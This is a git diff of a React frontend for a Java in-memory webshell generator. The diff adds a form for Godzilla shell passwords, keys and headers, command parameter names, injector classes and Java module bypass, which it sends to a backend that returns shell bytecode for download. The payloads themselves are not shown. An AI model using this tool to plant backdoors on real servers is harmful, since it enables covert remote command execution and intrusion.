Separator.displayName = SeparatorPrimitive.Root.displayName;
|
||||
|
||||
export { Separator };
|
||||
@@ -0,0 +1,14 @@
|
||||
import { Toaster as Sonner } from "sonner";
|
||||
import { useTheme } from "@/components/theme-provider.tsx";
|
||||
|
||||
type ToasterProps = React.ComponentProps<typeof Sonner>;
|
||||
|
||||
const Toaster = ({ ...props }: ToasterProps) => {
|
||||
const { theme = "system" } = useTheme();
|
||||
|
||||
return (
|
||||
<Sonner theme={theme as ToasterProps["theme"]} richColors className="toaster group" toastOptions={{}} {...props} />
|
||||
);
|
||||
};
|
||||
|
||||
export { Toaster };
|
||||
@@ -0,0 +1,30 @@
|
||||
import * as React from "react";
|
||||
import * as TooltipPrimitive from "@radix-ui/react-tooltip";
|
||||
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const TooltipProvider = TooltipPrimitive.Provider;
|
||||
|
||||
const Tooltip = TooltipPrimitive.Root;
|
||||
|
||||
const TooltipTrigger = TooltipPrimitive.Trigger;
|
||||
|
||||
const TooltipContent = React.forwardRef<
|
||||
React.ElementRef<typeof TooltipPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
|
||||
>(({ className, sideOffset = 4, ...props }, ref) => (
|
||||
<TooltipPrimitive.Portal>
|
||||
<TooltipPrimitive.Content
|
||||
ref={ref}
|
||||
sideOffset={sideOffset}
|
||||
className={cn(
|
||||
"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</TooltipPrimitive.Portal>
|
||||
));
|
||||
TooltipContent.displayName = TooltipPrimitive.Content.displayName;
|
||||
|
||||
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };
|
||||
@@ -0,0 +1,32 @@
|
||||
import * as z from "zod";
|
||||
|
||||
const EnvSchema = z.object({
|
||||
API_URL: z.optional(z.string()),
|
||||
});
|
||||
|
||||
const createEnv = () => {
|
||||
// @ts-ignore
|
||||
const envVars = Object.entries(import.meta.env).reduce<Record<string, string>>((acc, curr) => {
|
||||
const [key, value] = curr;
|
||||
if (key.startsWith("VITE_APP_")) {
|
||||
if (typeof value === "string") {
|
||||
acc[key.replace("VITE_APP_", "")] = value;
|
||||
}
|
||||
}
|
||||
return acc;
|
||||
}, {});
|
||||
const parsedEnv = EnvSchema.safeParse(envVars);
|
||||
if (!parsedEnv.success) {
|
||||
throw new Error(
|
||||
`Invalid env provided.
|
||||
The following variables are missing or invalid:
|
||||
${Object.entries(parsedEnv.error.flatten().fieldErrors)
|
||||
.map(([k, v]) => `- ${k}: ${v}`)
|
||||
.join("\n")}
|
||||
`,
|
||||
);
|
||||
}
|
||||
return parsedEnv.data;
|
||||
};
|
||||
|
||||
export const env = createEnv();
|
||||
@@ -29,6 +29,7 @@
|
||||
--chart-5: 27 87% 67%;
|
||||
--radius: 0.3rem;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 240 10% 3.9%;
|
||||
--foreground: 0 0% 98%;
|
||||
@@ -56,10 +57,12 @@
|
||||
--chart-5: 340 75% 55%;
|
||||
}
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border;
|
||||
}
|
||||
|
||||
body {
|
||||
@apply bg-background text-foreground;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,32 @@
|
||||
import { type ClassValue, clsx } from "clsx";
|
||||
import { toast } from "sonner";
|
||||
import { twMerge } from "tailwind-merge";
|
||||
|
||||
export function cn(...inputs: ClassValue[]) {
|
||||
return twMerge(clsx(inputs));
|
||||
}
|
||||
|
||||
export function downloadJavaClass(base64String?: string, className?: string) {
|
||||
if (!base64String || !className) {
|
||||
toast.warning("内存马字节码为空,无法下载, 请先生成内存马");
|
||||
return;
|
||||
}
|
||||
const byteCharacters = atob(base64String);
|
||||
const byteNumbers = new Array(byteCharacters.length);
|
||||
for (let i = 0; i < byteCharacters.length; i++) {
|
||||
byteNumbers[i] = byteCharacters.charCodeAt(i);
|
||||
}
|
||||
const byteArray = new Uint8Array(byteNumbers);
|
||||
|
||||
// Create a Blob from the byte array
|
||||
const blob = new Blob([byteArray], { type: "application/java-vm" });
|
||||
|
||||
// Create a download link
|
||||
const link = document.createElement("a");
|
||||
link.href = window.URL.createObjectURL(blob);
|
||||
link.download = `${className.substring(className.lastIndexOf("."))}.class`;
|
||||
|
||||
document.body.appendChild(link);
|
||||
link.click();
|
||||
document.body.removeChild(link);
|
||||
}
|
||||
|
||||
+12
-3
@@ -2,14 +2,17 @@ import { RouterProvider, createRouter } from "@tanstack/react-router";
|
||||
import ReactDOM from "react-dom/client";
|
||||
import { routeTree } from "./routeTree.gen";
|
||||
import "./index.css";
|
||||
import { TailwindIndicator } from "@/components/tailwind-indicator.tsx";
|
||||
import { Toaster } from "@/components/ui/sonner.tsx";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
|
||||
const queryClient = new QueryClient();
|
||||
|
||||
// Set up a Router instance
|
||||
const router = createRouter({
|
||||
routeTree,
|
||||
defaultPreload: "intent",
|
||||
});
|
||||
|
||||
// Register things for typesafety
|
||||
declare module "@tanstack/react-router" {
|
||||
interface Register {
|
||||
router: typeof router;
|
||||
@@ -20,5 +23,11 @@ const rootElement = document.getElementById("app") as HTMLElement;
|
||||
|
||||
if (!rootElement.innerHTML) {
|
||||
const root = ReactDOM.createRoot(rootElement);
|
||||
root.render(<RouterProvider router={router} />);
|
||||
root.render(
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<Toaster />
|
||||
<RouterProvider router={router} />
|
||||
<TailwindIndicator />
|
||||
</QueryClientProvider>,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -67,9 +67,7 @@ const rootRouteChildren: RootRouteChildren = {
|
||||
IndexRoute: IndexRoute,
|
||||
};
|
||||
|
||||
export const routeTree = rootRoute
|
||||
._addFileChildren(rootRouteChildren)
|
||||
._addFileTypes<FileRouteTypes>();
|
||||
export const routeTree = rootRoute._addFileChildren(rootRouteChildren)._addFileTypes<FileRouteTypes>();
|
||||
|
||||
/* ROUTE_MANIFEST_START
|
||||
{
|
||||
|
||||
@@ -1,10 +1,7 @@
|
||||
import { ModeToggle } from "@/components/mode-toggle.tsx";
|
||||
import { ThemeProvider } from "@/components/theme-provider.tsx";
|
||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
||||
import { Button } from "@/components/ui/button.tsx";
|
||||
import { Outlet, createRootRoute } from "@tanstack/react-router";
|
||||
import { TanStackRouterDevtools } from "@tanstack/router-devtools";
|
||||
import { ServerOffIcon } from "lucide-react";
|
||||
|
||||
export const Route = createRootRoute({
|
||||
component: RootComponent,
|
||||
@@ -43,13 +40,7 @@ function RootComponent() {
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<Alert className="px-4 border-0 border-b">
|
||||
<ServerOffIcon className="h-4 w-4" />
|
||||
<AlertTitle>服务不可用!</AlertTitle>
|
||||
<AlertDescription>未检测到可用后端服务,生成功能暂不可用.</AlertDescription>
|
||||
</Alert>
|
||||
<Outlet />
|
||||
<TanStackRouterDevtools position="bottom-right" />
|
||||
</div>
|
||||
</ThemeProvider>
|
||||
);
|
||||
|
||||
+120
-16
@@ -1,30 +1,134 @@
|
||||
import { MainConfigCard } from "@/components/main-config-card.tsx";
|
||||
import { PackageConfigCard } from "@/components/package-config-card.tsx";
|
||||
import { ShellConfigCard } from "@/components/shell-config-card.tsx";
|
||||
import { ShellResult } from "@/components/shell-result.tsx";
|
||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Form } from "@/components/ui/form.tsx";
|
||||
import { env } from "@/config.ts";
|
||||
import { FormSchema, formSchema } from "@/types/schema.ts";
|
||||
import { APIErrorResponse, ConfigResponseType, GenerateResponse, GenerateResult } from "@/types/shell.ts";
|
||||
import { transformToPostData } from "@/utils/transformer.ts";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { createFileRoute } from "@tanstack/react-router";
|
||||
import { WandSparklesIcon } from "lucide-react";
|
||||
import { ActivityIcon, LoaderCircle, ServerOffIcon, WandSparklesIcon } from "lucide-react";
|
||||
import { useState, useTransition } from "react";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
|
||||
export const Route = createFileRoute("/")({
|
||||
component: AboutComponent,
|
||||
component: IndexComponent,
|
||||
});
|
||||
|
||||
function AboutComponent() {
|
||||
function IndexComponent() {
|
||||
const { isPending, isError, data } = useQuery<ConfigResponseType>({
|
||||
queryKey: ["config"],
|
||||
queryFn: async () => {
|
||||
const response = await fetch(`${env.API_URL}/config`);
|
||||
return await response.json();
|
||||
},
|
||||
});
|
||||
const form = useForm<FormSchema>({
|
||||
resolver: zodResolver(formSchema),
|
||||
defaultValues: {
|
||||
server: "",
|
||||
targetJdkVersion: "50",
|
||||
debug: false,
|
||||
bypassJavaModule: false,
|
||||
shellClassName: "",
|
||||
shellTool: "",
|
||||
shellType: "",
|
||||
urlPattern: "/*",
|
||||
godzillaPass: "pass",
|
||||
godzillaKey: "key",
|
||||
godzillaHeaderName: "User-Agent",
|
||||
godzillaHeaderValue: "test",
|
||||
commandParamName: "cmd",
|
||||
injectorClassName: "",
|
||||
packingMethod: "Base64",
|
||||
},
|
||||
});
|
||||
|
||||
const [packResult, setPackResult] = useState<string>("// 等待填写参数生成中");
|
||||
const [generateResult, setGenerateResult] = useState<GenerateResult>();
|
||||
const [packMethod, setPackMethod] = useState<string>("");
|
||||
const [isActionPending, startTransition] = useTransition();
|
||||
|
||||
async function onSubmit(values: FormSchema) {
|
||||
startTransition(async () => {
|
||||
if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") {
|
||||
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
||||
return;
|
||||
}
|
||||
|
||||
const postData = transformToPostData(values);
|
||||
try {
|
||||
const response = await fetch(`${env.API_URL}/generate`, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify(postData),
|
||||
});
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
if (response.ok) {
|
||||
const json: GenerateResponse = await response.json();
|
||||
setPackResult(json.packResult);
|
||||
setGenerateResult(json.generateResult);
|
||||
setPackMethod(values.packingMethod);
|
||||
toast.success("生成成功");
|
||||
} else {
|
||||
const json: APIErrorResponse = await response.json();
|
||||
toast.error(`生成失败,${json.error}`);
|
||||
}
|
||||
} catch (err) {
|
||||
const error = err as Error;
|
||||
toast.error(`生成失败,${error.message}`);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="flex flex-col md:flex-row gap-4 p-4">
|
||||
<div className="w-full md:w-1/2 space-y-4">
|
||||
<MainConfigCard />
|
||||
<ShellConfigCard />
|
||||
<PackageConfigCard />
|
||||
<Button className="w-full">
|
||||
<WandSparklesIcon />
|
||||
Generate
|
||||
</Button>
|
||||
</div>
|
||||
<div className="w-full md:w-1/2 space-y-4">
|
||||
<ShellResult />
|
||||
<div className="mt-4">
|
||||
<div className="px-4">
|
||||
{isPending && (
|
||||
<Alert>
|
||||
<LoaderCircle className="animate-spin h-4 w-4" />
|
||||
<AlertTitle>Pending</AlertTitle>
|
||||
<AlertDescription>正在全力搜索可用的后端服务~</AlertDescription>
|
||||
</Alert>
|
||||
)}
|
||||
{isError && (
|
||||
<Alert variant="destructive">
|
||||
<ServerOffIcon className="h-4 w-4" />
|
||||
<AlertTitle>Not Work!</AlertTitle>
|
||||
<AlertDescription>未检测到可用后端服务,生成功能暂不可用.</AlertDescription>
|
||||
</Alert>
|
||||
)}
|
||||
|
||||
{data && (
|
||||
<Alert>
|
||||
<ActivityIcon className="h-4 w-4" />
|
||||
<AlertTitle>It Work!</AlertTitle>
|
||||
<AlertDescription>Let's start the party! 🎉</AlertDescription>
|
||||
</Alert>
|
||||
)}
|
||||
</div>
|
||||
<Form {...form}>
|
||||
<form onSubmit={form.handleSubmit(onSubmit)} className="flex flex-col xl:flex-row gap-4 p-4">
|
||||
<div className="w-full xl:w-1/2 space-y-2">
|
||||
<MainConfigCard servers={data?.servers} mainConfig={data?.core} form={form} />
|
||||
<PackageConfigCard packerConfig={data?.packers} form={form} />
|
||||
<Button className="w-full" type="submit" disabled={isActionPending}>
|
||||
{isActionPending ? <LoaderCircle className="animate-spin" /> : <WandSparklesIcon />}
|
||||
Generate
|
||||
</Button>
|
||||
</div>
|
||||
<div className="w-full xl:w-1/2 space-y-4">
|
||||
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
|
||||
</div>
|
||||
</form>
|
||||
</Form>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
import * as z from "zod";
|
||||
|
||||
export const formSchema = z.object({
|
||||
server: z.string().min(1),
|
||||
targetJdkVersion: z.optional(z.string()),
|
||||
debug: z.optional(z.boolean()),
|
||||
bypassJavaModule: z.optional(z.boolean()),
|
||||
shellClassName: z.string().optional(),
|
||||
shellTool: z.string().min(1),
|
||||
shellType: z.string().min(1),
|
||||
urlPattern: z.optional(z.string()),
|
||||
godzillaPass: z.optional(z.string()),
|
||||
godzillaKey: z.optional(z.string()),
|
||||
godzillaHeaderName: z.optional(z.string()),
|
||||
godzillaHeaderValue: z.optional(z.string()),
|
||||
commandParamName: z.optional(z.string()),
|
||||
injectorClassName: z.optional(z.string()),
|
||||
packingMethod: z.string().min(1, { message: "请选择打包方式" }),
|
||||
});
|
||||
|
||||
export type FormSchema = z.infer<typeof formSchema>;
|
||||
@@ -0,0 +1,73 @@
|
||||
export interface ShellConfig {
|
||||
server: string;
|
||||
shellTool: string;
|
||||
shellType: string;
|
||||
targetJreVersion?: string;
|
||||
debug?: boolean;
|
||||
byPassJavaModule?: boolean;
|
||||
obfuscate?: boolean;
|
||||
}
|
||||
|
||||
export interface ShellToolConfig {
|
||||
shellClassName?: string;
|
||||
godzillaPass?: string;
|
||||
godzillaKey?: string;
|
||||
godzillaHeaderName?: string;
|
||||
godzillaHeaderValue?: string;
|
||||
commandParamName?: string;
|
||||
}
|
||||
|
||||
export interface CommandShellToolConfig {
|
||||
shellClassName?: string;
|
||||
paramName?: string;
|
||||
}
|
||||
|
||||
export interface GodzillaShellToolConfig {
|
||||
shellClassName?: string;
|
||||
pass?: string;
|
||||
key?: string;
|
||||
headerName?: string;
|
||||
headerValue?: string;
|
||||
}
|
||||
|
||||
export interface InjectorConfig {
|
||||
className?: string;
|
||||
urlPattern?: string;
|
||||
}
|
||||
|
||||
export interface ConfigResponseType {
|
||||
servers: string[];
|
||||
core: MainConfig;
|
||||
packers: PackerConfig;
|
||||
}
|
||||
|
||||
export interface MainConfig {
|
||||
[serverName: string]: {
|
||||
[toolName: string]: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface PackerConfig {
|
||||
[packerName: string]: string;
|
||||
}
|
||||
|
||||
export interface GenerateResponse {
|
||||
packResult: string;
|
||||
generateResult: GenerateResult;
|
||||
}
|
||||
|
||||
export interface APIErrorResponse {
|
||||
error: string;
|
||||
}
|
||||
|
||||
export interface GenerateResult {
|
||||
shellClassName: string;
|
||||
shellSize: number;
|
||||
shellBytesBase64Str: string;
|
||||
injectorClassName: string;
|
||||
injectorSize: number;
|
||||
injectorBytesBase64Str: string;
|
||||
shellConfig: ShellConfig;
|
||||
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig;
|
||||
injectorConfig: InjectorConfig;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
import { FormSchema } from "@/types/schema.ts";
|
||||
import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
|
||||
|
||||
export function transformToPostData(formValue: FormSchema) {
|
||||
const shellConfig: ShellConfig = {
|
||||
server: formValue.server,
|
||||
shellTool: formValue.shellTool,
|
||||
shellType: formValue.shellType,
|
||||
targetJreVersion: formValue.targetJdkVersion,
|
||||
byPassJavaModule: formValue.bypassJavaModule,
|
||||
};
|
||||
const shellToolConfig: ShellToolConfig = {
|
||||
shellClassName: formValue.shellClassName,
|
||||
godzillaPass: formValue.godzillaPass,
|
||||
godzillaKey: formValue.godzillaKey,
|
||||
godzillaHeaderName: formValue.godzillaHeaderName,
|
||||
godzillaHeaderValue: formValue.godzillaHeaderValue,
|
||||
commandParamName: formValue.commandParamName,
|
||||
};
|
||||
|
||||
const injectorConfig: InjectorConfig = {
|
||||
urlPattern: formValue.urlPattern,
|
||||
className: formValue.injectorClassName,
|
||||
};
|
||||
return {
|
||||
shellConfig,
|
||||
shellToolConfig,
|
||||
injectorConfig,
|
||||
packer: formValue.packingMethod,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
{"root":["./src/config.ts","./src/main.tsx","./src/routetree.gen.ts","./src/components/code-viewer.tsx","./src/components/main-config-card.tsx","./src/components/mode-toggle.tsx","./src/components/package-config-card.tsx","./src/components/shell-result.tsx","./src/components/tailwind-indicator.tsx","./src/components/theme-provider.tsx","./src/components/tips/jre-tip.tsx","./src/components/tips/url-pattern-tip.tsx","./src/components/ui/alert.tsx","./src/components/ui/button.tsx","./src/components/ui/card.tsx","./src/components/ui/checkbox.tsx","./src/components/ui/dropdown-menu.tsx","./src/components/ui/form.tsx","./src/components/ui/input.tsx","./src/components/ui/label.tsx","./src/components/ui/radio-group.tsx","./src/components/ui/select.tsx","./src/components/ui/separator.tsx","./src/components/ui/sonner.tsx","./src/components/ui/switch.tsx","./src/components/ui/tabs.tsx","./src/components/ui/textarea.tsx","./src/components/ui/tooltip.tsx","./src/lib/utils.ts","./src/routes/__root.tsx","./src/routes/index.tsx","./src/types/schema.ts","./src/types/shell.ts","./src/utils/transformer.ts"],"version":"5.7.2"}
|
||||
@@ -0,0 +1 @@
|
||||
{"root":["./vite.config.ts"],"version":"5.7.2"}
|
||||
Reference in New Issue
Block a user